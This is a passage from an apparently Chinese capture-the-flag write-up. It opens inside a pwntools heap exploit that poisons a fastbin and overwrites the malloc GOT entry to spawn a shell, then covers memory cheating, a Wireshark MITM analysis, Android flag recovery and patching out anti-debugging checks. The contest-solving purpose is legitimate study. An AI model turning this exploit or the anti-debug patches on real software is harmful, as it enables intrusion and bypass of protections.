sh.sendlineafter('?\n',str(size)) 122 | sh.sendafter('plan: ',content) 123 | def delete(index): 124 | sh.sendlineafter('ce : ','3') 125 | sh.sendlineafter('Index : ',str(index)) 126 | def edit(index,size,content): 127 | sh.sendlineafter('choice : ','2') 128 | sh.sendlineafter('Index : ',str(index)) 129 | sh.sendlineafter('?\n',str(size)) 130 | sh.sendafter('plan: ',content) 131 | 132 | target_addr = 0x6020b0+5-8 133 | ptr_0 = 0x6020c0 134 | bin_sh = 0x400C9F 135 | malloc_got = 0x602058 136 | 137 | 138 | create(40,'a'*40)#chunk0 139 | create(16,'b\n')#chunk1 140 | create(96,'b\n')#chunk2 141 | payload = 'a'*40+'\x91' 142 | edit(0,41,payload) ##利用strlen的特性,写入长度大于malloc(size)的长度,改写chunk1的size为0x90 143 | delete(1) 144 | delete(2) 145 | payload = 16*'a'+p64(0)+p64(0x71)+p64(target_addr)+'\n' 146 | create(128,payload) #重新申请chunk1,并借助chunk1将fastbin中的chunk2的fd指针指向目标地址 147 | create(96,'b\n')#申请fastbin中的chunk2 148 | offset = ptr_0 - target_addr-0x10 149 | create(96,'a'*offset+p64(malloc_got)+'\n')#申请fastbin中的构造好的目标地址的块,通过改写块的内容,将ptr[0]指向mallocgot 150 | edit(0,8,p64(bin_sh))#通过ptr[0]改写mallocgot表,使其调用malloc时会去执行system('/bin/sh') 151 | sh.sendlineafter(": ",'1')##不知道为什么会先出现一次invalid, 152 | sh.sendlineafter(": ",'1')##再次选择选项1,进入第一个功能分支 153 | sh.sendlineafter("?\n",'1')#调用malloc 154 | sh.interactive() 155 | ``` 156 | ## 0x2 MISC 157 | ### 0x21 MiniGameHacking 158 | 看到hint中有个(cheat),考虑到使用cheat engine修改内存。然后,我发现的可以有效修改的就是时停的次数。于是就改了时停的次数硬打了16关还是17关来着。通关后就给了flag。不知道是不是预期内的(´Д`) 。 159 | 160 | ### 0x22 MIMT1 and MIMT2 161 | 把文件拖进wireshark,点统计发现三个MAC地址,依次看看,确定了一个是路由器也就是网关,然后另外两个应该一个是受害人,一个是中间人。 162 | 163 | ![21.PNG](https://i.loli.net/2020/05/18/cDNpXjvWMzhZuUB.png) 164 | 165 | 然后查看一下ip选项卡,发现内网ip就只有两个192.168.1.152 和192.168.1.151,其他的ip都是用户请求的服务的ip。所以就尝试一下这两个答案,结果就出来了。 166 | 根据第一步的flag,确定了中间人是192.168.1.152后,我们就知道受害人为192.168.1.151 167 | 中间人伪造的CA数据包发送的目的地址肯定也是192.168.1.151 168 | 因此以服务地址=xxx.xxx.xxx.xxx和目的地址=192.168.1.151进行过滤,查看发送服务器向用户发送的CA证书。多找几个,就能发现一个比较奇怪的issuer common name 被不同的服务器公用,还是用SHA1签名的。于是提交上去就完成了。 169 | ## 0x3 Android 170 | ### 0x31 Testonly? 171 | 一道简单的安卓逆向题。把apk文件拖进jadx,定位到MainActivity处。 172 | ```java 173 | package com.happy.testonly; 174 | 175 | import a.b.a.m; 176 | import android.app.Activity; 177 | import android.os.Bundle; 178 | import b.a.a.b; 179 | import b.a.a.d; 180 | import java.nio.charset.StandardCharsets; 181 | import java.security.MessageDigest; 182 | 183 | public class MainActivity extends m { 184 | public MainActivity() { 185 | super(); 186 | } 187 | 188 | public final void I() { 189 | ((Activity)this).getWindow().setFlags(8192, 8192); 190 | new Thread(new b(this)).start(); 191 | } 192 | 193 | public final String J() { 194 | String v1; 195 | String v0 = "B08020D0FACFDAF81DB46890E4040EDBB8613DA5ABF038F8B86BD44525D2E27B26E22ACD06388112D8467FD688C79CC7EA83F27440577350E8168C2560368616"; 196 | try { 197 | v1 = MainActivity.b(v0);//十六进制的SHA加密后的字节字符串,33d40461bb5dc676ac72cfdd51f68bc5f88668c7 198 | } 199 | catch(Exception v2) { 200 | v2.printStackTrace(); 201 | } 202 | 203 | char[] v2_1 = new char[]{'U', '_', '\u0005', 'S', 'K', '`', '^', '\u0000', '\u0011', '=', 'f', 'W', 'P', '{', '\u0004', 'i', 'U', 'S', 'e', 'm', '7', 'U', '\u0017', '0', 'j', '\u0001', '(', '\u0007', 'a', '\u001F'}; 204 | int v3; 205 | for(v3 = 0; v3 < v2_1.length; ++v3) { 206 | v2_1[v3] = ((char)(v2_1[v3] ^ MainActivity.a(v1.charAt(v3)))); 207 | } 208 | 209 | return String.copyValueOf(v2_1).replace("flag", "minil"); 210 | } 211 | 212 | public static int a(char arg1) { 213 | int v0 = arg1 < 128 ? arg1 : MainActivity.a(Character.toString(arg1)); 214 | return v0; 215 | } 216 | 217 | public static int a(String arg2) { 218 | int v1 = 0; 219 | if(arg2.length() > 0) { 220 | v1 = arg2.getBytes(StandardCharsets.UTF_8)[0] & 255; 221 | } 222 | 223 | return v1; 224 | } 225 | 226 | public static String a(MainActivity arg1) { 227 | return arg1.J(); 228 | } 229 | 230 | public static String b(String arg7) { 231 | MessageDigest v1_1; 232 | try { 233 | v1_1 = MessageDigest.getInstance("SHA"); 234 | } 235 | catch(Exception v1) { 236 | System.out.println(v1.toString()); 237 | v1.printStackTrace(); 238 | return ""; 239 | } 240 | 241 | byte[] v2 = v1_1.digest(arg7.getBytes("UTF-8")); //SHA加密 242 | StringBuffer v3 = new StringBuffer(); 243 | int v4; 244 | for(v4 = 0; v4 < v2.length; ++v4) { 245 | int v5 = v2[v4] & 255; 246 | if(v5 < 16) { 247 | v3.append("0"); 248 | } 249 | 250 | v3.append(Integer.toHexString(v5)); 251 | } 252 | 253 | return v3.toString(); //返回值是sha加密的字节字符串 254 | } 255 | 256 | public void onCreate(Bundle arg2) { 257 | super.onCreate(arg2); 258 | ((m)this).setContentView(2131361820); 259 | this.I(); 260 | this.run(); 261 | } 262 | 263 | public final void run() { 264 | new Thread(new d(this)).start(); 265 | } 266 | } 267 | ``` 268 | 看到public final string J()这个方法,先对一串字符调用b()做了一顿操作,然后与一个列表的值进行相应的异或,最后得到的是形如flag{}的字符串。再来看一下b()具体做了哪些操作,就是对目标字符串进行了一个SHA的hash,再将得到的字节流转化为十六进制的字符串。比如得到的字节流是b'\xa1\a2\a3\08'就会被转化成'a1a2a308'。然后每个字符与列表中的字符进行异或就能的到flag。 269 | 现在需要确定用的是SHA几。由于我们可以确定结果字符串是含有'flag'的。将它们分别于table的前四个字符异或,我们可以得到'33d4'。用这个开头,就可以确定使用的SHA算法了。在一个在线加密的网站进行尝试,确定了hash后转化为十六进制字符串的结果为'33d40461bb5dc676ac72cfdd51f68bc5f88668c7' 270 | 最后,使用以下脚本就能得到flag{},再将flag替换成minil就可以了。 271 | ```python 272 | sha_str = "33d40461bb5dc676ac72cfdd51f68bc5f88668c7" 273 | list1 =['U', '_', '\u0005', 'S', 'K', '`', '^', '\u0000', '\u0011', '=', 'f', 'W', 'P', '{', '\u0004', 'i', 'U', 'S', 'e', 'm', '7', 'U', '\u0017', '0', 'j', '\u0001', '(', '\u0007', 'a', '\u001F'] 274 | res = '' 275 | 276 | for i in range(30): 277 | int1 = ord(sha_str[i]) 278 | int2 = ord(list1[i]) 279 | res +=chr(int1^int2) 280 | 281 | print(res) 282 | ``` 283 | 284 | ### 0x32 Khronos 285 | 依照惯例,拖进jadx看看。在mainActivity里发现了一个可疑的方法 286 | ```java 287 | public native int check(String str); 288 | ``` 289 | 查看用例,找到了下面一段代码: 290 | ```java 291 | public void onClick(View view) { 292 | Toast makeText; 293 | MainActivity mainActivity; 294 | String str; 295 | String trim = this.f666a.getText().toString().trim(); 296 | int check = this.f667b.check(trim); 297 | if (check == 0) { 298 | mainActivity = this.f667b; 299 | str = "Wrong flag."; 300 | } else if (check == 1) { 301 | mainActivity = this.f667b; 302 | str = "Khronos is transcendental, your flag is not correct."; 303 | } else if (check == 2) { 304 | mainActivity = this.f667b; 305 | str = "Khronos is mysterious, wrong flag but is almost correct."; 306 | } else if (check == 3) { 307 | MainActivity mainActivity2 = this.f667b; 308 | makeText = Toast.makeText(mainActivity2, "Good job. The flag is " + trim, 1); 309 | makeText.show(); 310 | } else { 311 | return; 312 | } 313 | makeText = Toast.makeText(mainActivity, str, 0); 314 | makeText.show(); 315 | } 316 | } 317 | ``` 318 | 大概就是外部的这个C函数用来判断flag是否输入正确。 319 | 两个动态库文件,出于对x86汇编相对熟悉一些,就先分析了x86的.so,不知道另一个是不是差不多的思路。 320 | 321 | ![32.PNG](https://i.loli.net/2020/05/18/yNS7FTAVs5hB2ZX.png) 322 | 323 | 将libnative-lib.so拖入IDA,定位到check函数。分析流程大概就是v3指向的地址处保存了用户输入的flag。然后有长度和对于开头的判断,初步确定flag形式为minil{xxxxxxxxxxxxxxxxxxxxxxxxx} 324 | 之后的khronos函数,一共调用了(15-3+1)=13次,将'{'后的输入两两一组作为输入,得到的输出是一个uint_8被保存在uint_32的低位,形如0x000000ff。一共13个这样的uint_32依次保存在3个\__int_128(即v11~v13),还有一个保存在v14的低32位。 325 | 326 | ![33.PNG](https://i.loli.net/2020/05/18/x8CKMRGrdqmOwVX.png) 327 | 328 | 接下来看结果的比对,首先第一层就对于khronos函数返回值的判断,依次需要等于0xF1,0XB7,0X1A,0x52等等依次类推 329 | 330 | ![34.PNG](https://i.loli.net/2020/05/18/XuCLTYztBogkWN1.png) 331 | 332 | 用如下脚本复现khronos函数,先筛选出可能的两两一组的字符集 333 | ```python 334 | def kronos(int_16): 335 | v1 = 0 336 | v2 = int_16 337 | v3 = 0 338 | while(v1 != 32): 339 | v41 = v3 340 | v5 = v2 & 0x88880C92; 341 | v6 = 0 342 | if(v5 != 0): 343 | 344 | while(v5 != 0): 345 | v6 ^= v5 & 1 #v5二进制中1的个数,偶数的话v6为0,否则v6为1 346 | v5 >>= 1 347 | 348 | v7 = v6 ^ 2 * v2 # v7=v6^(2*a2) 等价于a2左移一位,末尾补上v6 349 | v10 = v7 & 0x88880C92; 350 | v11 = 2 * v7; 351 | v12 = 0; 352 | if (v10 != 0): 353 | while(v10 !=0): 354 | v12 ^= v10 & 1 355 | v10 >>= 1 356 | v13 = v12 ^ v11 357 | v14 = v12 ^ 2 * v6 358 | v15 = v13 & 0x88880C92 359 | v8 = 0 360 | if ( v15 != 0): 361 | while(v15 !=0): 362 | v8 ^= v15 & 1 363 | v15 >>= 1 364 | v16 = v8 ^ 2 * v13 365 | v17 = v8 ^ 2 * v14 366 | v19 = v16 & 0x88880C92 367 | v20 = 2 * v16 368 | v21 = 0 369 | if(v19 !=0): 370 | while(v19 !=0): 371 | v21 ^= v19 & 1 372 | v19 >>= 1 373 | v22 = v21 ^ v20 374 | v23 = v21 ^ 2 * v17 375 | v24 = v22 & 0x88880C92 376 | v25 = 2 * v22 377 | v18 = 0 378 | if(v24 != 0): 379 | while(v24 != 0): 380 | v18 ^= v24 & 1 381 | v24 >>= 1 382 | v26 = v18 ^ v25 383 | v27 = v18 ^ 2 * v23 384 | v29 = v26 & 0x88880C92 385 | v30 = 2 * v26 386 | v31 = 0 387 | if(v29 != 0): 388 | while(v29 != 0): 389 | v31 ^= v29 & 1 390 | v29 >>= 1 391 | v32 = v31 ^ v30 392 | v33 = v31 ^ 2 * v27 393 | v34 = v32 & 0x88880C92 394 | v35 = 2 * v32 395 | v28 = 0 396 | if (v34 != 0): 397 | while(v34 !=0): 398 | v28 ^= v34 & 1 399 | v34 >>= 1 400 | v36 = v28 ^ v35 401 | v37 = v28 ^ 2 * v33 402 | v38 = v36 & 0x88880C92 403 | v39 = 2 * v36 404 | v4 = 0 405 | if(v38 != 0): 406 | while(v38 != 0): 407 | v4 ^= v38 & 1 408 | v38 >>= 1 409 | v2 = v4 ^ v39 410 | v3 = (v4 ^ 2 * v37) + 2 * v41 411 | v1 +=1 412 | 413 | res = (v4 ^ 2 * v37 + 2 * v41) & 0xff 414 | return res 415 | _F1 = [] 416 | _B7 = [] 417 | _1A = [] 418 | _52 = [] 419 | _6B = [] 420 | _49 = [] 421 | _76 = [] 422 | _02 = [] 423 | _C1 = [] 424 | _D6 = [] 425 | _4E = [] 426 | _B6 = [] 427 | _E0 = [] 428 | 429 | 430 | for i in range(0x20,0x7F): 431 | for j in range(0X20,0X7F): 432 | res = kronos(i*256+j) 433 | if(res == 0xf1): 434 | _F1.append(chr(i)+chr(j)) 435 | continue 436 | if(res == 0xB7): 437 | _B7.append(chr(i)+chr(j)) 438 | continue 439 | if(res == 0x1A): 440 | _1A.append(chr(i)+chr(j)) 441 | continue 442 | if(res == 0x52): 443 | _52.append(chr(i)+chr(j)) 444 | continue 445 | if(res == 0x6B): 446 | _6B.append(chr(i)+chr(j)) 447 | continue 448 | if(res == 0x49): 449 | _49.append(chr(i)+chr(j)) 450 | continue 451 | if(res == 0x76): 452 | _76.append(chr(i)+chr(j)) 453 | continue 454 | if(res == 0x02): 455 | _02.append(chr(i)+chr(j)) 456 | continue 457 | if(res == 0xC1): 458 | _C1.append(chr(i)+chr(j)) 459 | continue 460 | if(res == 0xD6): 461 | _D6.append(chr(i)+chr(j)) 462 | continue 463 | if(res == 0x4E): 464 | _4E.append(chr(i)+chr(j)) 465 | continue 466 | if(res == 0xB6): 467 | _B6.append(chr(i)+chr(j)) 468 | continue 469 | if(res == 0xE0): 470 | _E0.append(chr(i)+chr(j)) 471 | 472 | for s in _F1: 473 | print(s,end=',') 474 | print() 475 | for s in _B7: 476 | print(s,end=',') 477 | print() 478 | for s in _1A: 479 | print(s,end=',') 480 | print() 481 | for s in _52: 482 | print(s,end=',') 483 | print() 484 | for s in _6B: 485 | print(s,end=',') 486 | print() 487 | for s in _49: 488 | print(s,end=',') 489 | print() 490 | for s in _76: 491 | print(s,end=',') 492 | print() 493 | for s in _02: 494 | print(s,end=',') 495 | print() 496 | for s in _C1: 497 | print(s,end=',') 498 | print() 499 | for s in _D6: 500 | print(s,end=',') 501 | print() 502 | for s in _4E: 503 | print(s,end=',') 504 | print() 505 | for s in _B6: 506 | print(s,end=',') 507 | print() 508 | for s in _E0: 509 | print(s,end=',') 510 | print() 511 | 512 | ``` 513 | 进一步做人工的筛查排除掉一部分不太可能出现在flag中的字符,得到如下的字符集(结尾肯定是 }) 514 | 第1行表示可能的第1和第2个字符的组合,第2行表示第3和第4个字符的组合,以此类推 515 | ``` 516 | FJ,Kh,L5,TU,Wu,Z6,aK,eS,pp 517 | R0,S+,S-,T.,\6,aA,gp,id,pA,,wk,xY,xp,yF,yT,ym 518 | C5,D0,J&,P7,Q.,R3,,fx,h|,iu,kX,mB,mk,nO,oT,pP,wG,yA,zN 519 | A3,K9,dE,jn,lb,s_,sr,tg,wW 520 | 0L,1S,2Z,3C,4V,6F,6V,7d,EO,JT,La,MC,OS,Oz,Sq,Tr,ZM,a4,p2 521 | 4c,94,IS,Jc,Qk,Zn,_m,mf,t0,z6 522 | 0O,1R,4S,6G,JU,Lf,S_,Sv,Tc,Ux,Ze,a5,a7,p3,w4 523 | cV,ew,fC,lv,rm,sp,te,uA,uG,vg,wU,wh,zw 524 | 69,6u,7S,9U,BB,BF,DX,RO,R_,Rb,UJ,da,en,fJ,gU,iC,qk,sD,tx,vC,vG,vW,vz,xA,xU 525 | 0M,0f,0v,1y,3o,?k,CR,HC,Kc,MT,Rm,XL,ZL,Zc 526 | 8E,Dj,Fh,Gq,Gu,Hn,Po,Q_,Ri,Sr,VJ,_t,c3,d2,m5,y4 527 | 0d,1D,1k,1m,3F,6n,7X,Co,Is,KZ,Ka,Lt,MB,MR,Nf,TJ,UE,YU,e9,f6 528 | E} 529 | ``` 530 | 然后偶然发现前三行能组成khrono,然后两边往中间填补,大概确定了 531 | KhR0nOs_1S_mxxxxR_of_t1mE} 532 | 接下来的四个字符就通过第二个条件进行确定(前面的IDA代码中的第二个do while循环) 533 | 写出脚本 534 | ```python 535 | def hash(str): 536 | res = 0 537 | for ch in str: 538 | res = (1331*res+ord(ch))&0xffffffff 539 | return res 540 | 541 | 542 | 543 | a =['0O','1R','4S','6G','JU','Lf','S_','Sv','Tc','Ux','Ze','a5','a7','p3'] 544 | b = ['cV','ew','fC','lv','rm','sp','te','uA','uG','vg','wU','wh','zw'] 545 | for ch1 in a: 546 | for ch2 in b: 547 | str ="m" 548 | str+=ch1; 549 | str+=ch2; 550 | str+="R" 551 | res=hash("minil{KhR0nOs_1S_"+str+"_0f_t1mE}") #minil{KhR0nOs_1S_m4SteR_0f_t1mE} 552 | if(res &0x7fffffff == 1929691002): 553 | print(str) 554 | 555 | ``` 556 | ## 0x4 Reverse 557 | ### Easyre 558 | 看hint,提醒我们注意反调试和crc校验。在IDA反汇编的代码中看到两处于Debuger有关的调用。一是IsDebuggerPresent,二是CheckRemoteDebuggerPresent。 559 | 拖到x64dbg里进行动态调试,在两处都下断点,发现第一处的断点不会执行到,而第二处的逻辑如下: 560 | 561 | 若CheckRemoteDebuggerPresent结果不为0,则不执行跳转,那么就会调用下面的exit导致程序退出。更改je为jne,也就是将0x74改为0x75 562 | 563 | ![41.PNG](https://i.loli.net/2020/05/18/r2PmsSVzB9pIbuN.png) 564 | 565 | 同样的,在下面有一个校验,如果之前的je->jne我们是直接在debuger里改的话,这里的校验不会对我们产生影响,我们还是能正常的执行。来到7FF60F141200。这里要求我们输入一个flag,看汇编还是不太清楚,就回到IDA看c代码。就是依次比较输入的字符和目标结果是否一致,如果不一样就提前退出。 566 | 567 | ![42.PNG](https://i.loli.net/2020/05/18/JM4Bu8UHQYEpAzD.png) 568 | 569 | 那么我们可以输入一个'a'(肯定是错的),然后把判断条件改成一致就退出,不一致就继续。循环20次,就可以得到flag啦。 570 | 571 | ![43.PNG](https://i.loli.net/2020/05/18/SquZ61ehBatrm9V.png) 572 | 573 | ## End 574 | --------------------------------------------------------------------------------
    Are you reclu3e?
    用户名:
    密码:
    44 | 45 | 46 | 47 | 48 | 49 |